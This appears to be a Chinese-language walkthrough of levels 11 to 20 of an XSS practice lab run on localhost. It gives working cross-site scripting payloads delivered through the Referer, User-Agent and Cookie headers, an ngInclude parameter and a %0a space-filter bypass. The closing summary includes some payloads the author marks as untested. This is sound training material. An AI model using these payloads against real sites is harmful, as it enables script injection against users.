书接上文,我们这里对后 10 关进行破解。由于这里很多环境已经不支持,所以在最终的 payload 总结中有部分未经测验的他人的 payload。

Less-11

与第 10 关类似,这里同样没有输入框。继续查看源码,我们发现这里多了一个新的输入框,参数名为 t_ref。但我们发现,这里的变量已经有了一个值为 http://localhost:8091/level10.php?keyword=test&t_link=1&t_history=2&t_sort=%22%20onmouseover=alert(1)%20type=%22%22,是不是非常眼熟?这就是我们上一关的 Payload。1

为了验证我们的猜想,我们尝试 GET 传入参数 t_ref,发现该值并没有变化。根据变量名称的提示,我们可以想到一个在包内的参数 Referer。简单来说就是我们跳转到这个网页前的另一个网页地址。因此为了实现 XXS,这里我们只需修改 HTTP Header 中的 Referer 参数即可。

2

这里 payload 测试的过程就不介绍了,安装前 10 关的思路进行尝试即可,最终 payload 为:

# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level11.php
Referer = " onmouseover="alert(1)" type="

Less-12

在前一关的基础上,我们已经了解了 Header 可以作为注入点,而这里的值一看就知道它是来自于参数 User-Agent。于是 payload 为:

# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level12.php
User-Agent = " onmouseover="alert(1)" type="

Less-13

同理,这里修改参数 Cookie 即可,payload 为:

# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level13.php
Cookie = " onmouseover="alert(1)" type="

Less-14

这一关我进来之后发现一片空白,找了半天也不知道怎么下手,于是搜了下师傅们的 wp,原来这题本意是嵌入了一个含有 exifviewer 的网页,制作好 xss 上传即可触发,但现在环境已经不能用了。另外还发现这个漏洞还有一个有趣的历史

Less-15

这里我们发现有一个 GET 参数 src,于是尝试修改发现源码中有一条这样的内容。查询 ngInclude 后发现它会获取并编译外部 HTML 片段。

4

这里我尝试改为 level1.php,发现这里变成了如下图所示的内容。

5

所以这里只需要将满足弹窗即可,于是 payload 为:

# 无效
http://localhost:8091/level15.php?src='level1.php?name=<script>alert(1)</script>'
# 有效(使用 img 标签导入一个不存在的图片,然后触发错误动作)
http://localhost:8091/level15.php?src='level1.php?name=<img src=noexist onerror=alert(1)>'

Less-16

这里我们同样直接使用 15 关的 payload,发现空格被编码为 &nbsp;,于是尝试编码绕过。

6

这里我们将其转换为 %0d%0a 绕过空格过滤即可。最终 payload 为:

http://localhost:8091/level16.php?keyword=<img%0asrc=noexist%0aonerror=alert(1)>

Less-17-20

这部分均与 Flash 插件有关,但由于目前 Chrome 已经不支持该插件,因此后续的内容无法实现了。这里有几个参考的 WP。

WP 1 (无 19-20)WP 2 (有19-20)

Payload 总结

# less-11
# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level11.php
Referer = " onmouseover="alert(1)" type="

# less-12
# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level12.php
User-Agent = " onmouseover="alert(1)" type="

# less-13
# 随后触发 onmouseover 动作即可
URL = http://localhost:8091/level13.php
Cookie = " onmouseover="alert(1)" type="

# less-14 (空缺)

# less-15
# 有效(使用 img 标签导入一个不存在的图片,然后触发错误动作)
http://localhost:8091/level15.php?src='level1.php?name=<img src=noexist onerror=alert(1)>'

# less-16
http://localhost:8091/level16.php?keyword=<img%0asrc=noexist%0aonerror=alert(1)>

# less-17(未经确认)
http://localhost:8091/level17.php?arg01=a&arg02= onmouseover=alert(1)

# less-18(未经确认)
http://localhost:8091/level18.php?arg01=a&arg02=b onmouseout=alert(1)

# less-19(未经确认)
http://localhost:8091/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

# less-20(未经确认)
http://localhost:8091/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height